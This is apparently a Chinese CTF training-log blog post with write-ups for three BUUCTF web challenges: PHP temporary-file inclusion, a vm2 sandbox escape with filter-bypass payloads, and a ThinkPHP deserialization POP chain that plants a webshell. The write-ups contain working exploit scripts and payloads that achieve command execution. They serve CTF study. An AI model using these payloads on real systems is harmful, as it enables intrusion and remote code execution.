[BUUCTF]第三天训练日志

web

[NPUCTF2020]ezinclude

知识点

  1. PHP临时文件包含
    利用能访问的phpinfo页面,对其一次发送大量数据造成临时文件没有及时被删除,PHP版本<7.2,利用php崩溃留下临时文件
  2. string.strip_tags应用
    可以利用php://filter/string.strip_tags导致php崩溃,同时可上传文件保存在/tmp目录来上传木马。

WP

在这里插入图片描述
要求md5编码后的name要与pass相同 ,响应包里给出了hash的值
在这里插入图片描述
测试name=1,发现hash的值与hash为空的值不同。
在这里插入图片描述
传入name=1,pass等于name=1时hash的值,页面跳转到404
在这里插入图片描述
burp拦截发现有flflflflag.php
在这里插入图片描述
打开发现:
在这里插入图片描述
提示include($_GET[“file”]),通过dirsearch扫目录可以得到dir.php ,包含他可以看到这个页面列出了 /tmp 下的所有文件.
在这里插入图片描述
考察的是php的临时文件包含
使用python上传文件,Py脚本:

import requests
from io import BytesIO
 
payload = "<?php phpinfo()?>"
file_data = {
    'file': BytesIO(payload.encode())
}
url = "http://f6a351b3-c226-4aab-b5a7-1c72236efcc6.node4.buuoj.cn/flflflflag.php?"\
      +"file=php://filter/string.strip_tags/resource=/etc/passwd"
r = requests.post(url=url, files=file_data, allow_redirects=False)

访问dir.php查看上传的文件
在这里插入图片描述
上传成功,并不能直接访问tmp目录下的文件…/一层一层尝试即可,flag在phpinfo内

在这里插入图片描述

参考文章:php文件操作的小trick

[HFCTF2020]JustEscape

知识点

  • vm2的沙箱逃逸问题

WP

在这里插入图片描述
提示不是PHP,尝试访问run.php,得到

<?php
if( array_key_exists( "code", $_GET ) && $_GET[ 'code' ] != NULL ) {
    $code = $_GET['code'];
    echo eval(code);
} else {
    highlight_file(__FILE__);
}
?>

在这里插入图片描述

按照提示将code后的运算式需url编码传入
在这里插入图片描述
再传入new%20Date()会显示时间
既然提示不是php,测试是不是js,输入Error().stack
在这里插入图片描述
发现是VM2沙盒逃逸(参考文章:VM2沙盒逃逸)
github上有最新的poc: https://github.com/patriksimek/vm2/issues/225


"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
    TypeError[`${`${`prototyp`}e`}`].get_process = f=>f.constructor("return process")();
    try{
        Object.preventExtensions(Buffer.from("")).a = 1;
    }catch(e){
        return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
    }
}+')()';
try{
    console.log(new VM().run(untrusted));
}catch(x){
    console.log(x);
}

直接用会有关键字过滤

['for', 'while', 'process', 'exec', 'eval', 'constructor', 'prototype', 'Function', '+', '"',''']

解法一: 将关键字加入反引号,命令进行url编码
payload:

/run.php?code=(()=%3E{%20TypeError[[`p`,`r`,`o`,`t`,`o`,`t`,`y`,`p`,`e`][`join`](``)][`a`]%20=%20f=%3Ef[[`c`,`o`,`n`,`s`,`t`,`r`,`u`,`c`,`t`,`o`,`r`][`join`](``)]([`r`,`e`,`t`,`u`,`r`,`n`,`%20`,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))();%20try{%20Object[`preventExtensions`](Buffer[`from`](``))[`a`]%20=%201;%20}catch(e){%20return%20e[`a`](()=%3E{})[`mainModule`][[`r`,`e`,`q`,`u`,`i`,`r`,`e`][`join`](``)]([`c`,`h`,`i`,`l`,`d`,`_`,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))[[`e`,`x`,`e`,`c`,`S`,`y`,`n`,`c`][`join`](``)](`cat+%2fflag`)[`toString`]();%20}%20})()

解法二: 使用Javascript模板文字绕过

prototype变成`${`${`prototyp`}e`}`

payload

(function (){
    TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();
    try{
        Object.preventExtensions(Buffer.from(``)).a = 1;
    }catch(e){
        return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString();
    }
})()

[强网杯 2019]Upload

知识点

  • Thinkphp反序列化

WP

进入是登录注册界面,注册一个账号进行登录
在这里插入图片描述
发现页面有跳转延迟到文件上传界面,尝试上传图片马失败,而且这个跳转界面看着像是TP
在这里插入图片描述
登录的cookie是一串可疑数字
在这里插入图片描述
base64解密发现是序列化字符串
在这里插入图片描述
dirsearch扫描到源码www.tar.gz,webstorm打开,发现两处断点应该是提示。

在这里插入图片描述
在这里插入图片描述
login_check将用户的cookie反序列化,后到数据库中检查相关信息是否一致,Register.php中的析构方法destruct中的registed和checker可控。
在profile.php中有文件上传的函数

<?php
namespace app\web\controller;

use think\Controller;

class Profile extends Controller
{
    public $checker;
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except;

    public function __construct()
    {
        $this->checker=new Index();
        $this->upload_menu=md5($_SERVER['REMOTE_ADDR']);
        @chdir("../public/upload");
        if(!is_dir($this->upload_menu)){
            @mkdir($this->upload_menu);
        }
        @chdir($this->upload_menu);
    }

    public function upload_img(){
        if($this->checker){
            if(!$this->checker->login_check()){
                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
                $this->redirect($curr_url,302);
                exit();
            }
        }
 //如果直接上传会在文件后加入.png导致即使上传成功php文件也无法被解析
        if(!empty($_FILES)){
            $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
            $this->filename=md5($_FILES['upload_file']['name']).".png"; 
            $this->ext_check();
        }
        //这里将ext赋值为1则可以进入
        if($this->ext) {
            if(getimagesize($this->filename_tmp)) {
                @copy($this->filename_tmp, $this->filename); //将filename_tmp移动到filename
                @unlink($this->filename_tmp);
                $this->img="../upload/$this->upload_menu/$this->filename";
                $this->update_img();
            }else{
                $this->error('Forbidden type!', url('../index'));
            }
        }else{
            $this->error('Unknow file type!', url('../index'));
        }
    }

    public function update_img(){
        $user_info=db('user')->where("ID",$this->checker->profile['ID'])->find();
        if(empty($user_info['img']) && $this->img){
            if(db('user')->where('ID',$user_info['ID'])->data(["img"=>addslashes($this->img)])->update()){
                $this->update_cookie();
                $this->success('Upload img successful!', url('../home'));
            }else{
                $this->error('Upload file failed!', url('../index'));
            }
        }
    }

    public function update_cookie(){
        $this->checker->profile['img']=$this->img;
        cookie("user",base64_encode(serialize($this->checker->profile)),3600);
    }

    public function ext_check(){
        $ext_arr=explode(".",$this->filename);
        $this->ext=end($ext_arr);
        if($this->ext=="png"){ 
            return 1;
        }else{
            return 0;
        }
    }
   //get中的except可控,它指向了一个索引数组
    public function __get($name)
    {
        return $this->except[$name];
    }
    
    //name是不可访问函数的名字
	//arguments是参数,为空
    //而当使用this->index,就是访问一个不可访问的属性,然后触发__get()魔术方法
    public function __call($name, $arguments)
    {
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }

}

其中的魔术方法:

__get() 在调用不可访问的属性的时候触发
__call() 在调用不可访问的方法的时候触发

1.要绕过加.png的限制可以通过直接发送get请求,不上传文件这样FILES就为空绕过。直接进入下一个if,让ext为1进入,实现将png移动为php文件。
2.我们如果把 $this->checher赋值为Profile 对象,那么就会调用Profile对象中的index() 方法,这个方法在Profile中是不存在的,所以会调用__call() , __call中又会调用$this->index,index 属性在Profile中也是不存在的,就会触发__get() 方法,那么我们再设置Profile 中的except[’index‘] 为 upload_img 的话,就会成功触发upload_img() 。
进而控制upload_img()中的方法进行文件名控制传入木马。
因此整个利用链为

Register -> __destruct
Profile -> __call
Profile -> __get
Profile -> upload_img

POC

<?php

namespace app\web\controller; 
error_reporting(0);
class Profile
{
    public $checker=0; //目的是绕过index类的检查,防止退出程序
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except;


    public function __get($name)
    {
        return $this->except[$name];
    }

    public function __call($name, $arguments)
    {
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }

}

class Register
{
    public $checker;
    public $registed;

    public function __destruct()
    {
        if(!$this->registed){
            $this->checker->index();
        }
    }

}

$profile = new Profile();
$profile->except = ['index' => 'img']; 
$profile->img = "upload_img";
$profile->ext = "1";//过if来复制shell
$profile->filename_tmp = "./upload/";
//指定路径
$profile->filename = "./upload/webshell.php";

$register = new Register();
$register->registed = false; //过destruct里的if
$register->checker = $profile; //调用POP链

echo urlencode(base64_encode(serialize($register)));

要执行我们的反序列化链就要利用index.php中的对cookie的操作。
首先上传图片马得到文件名和路径,将路径放入exp中,将生成的序列化数据替换cookie再访问原来的文件夹这时候png文件就变成了php文件,木马上传成功,就可以webshell了。
(ps:我这个环境有问题上传成功一直不显示路径服了)。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Y1seco

我们都在慢慢进步

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值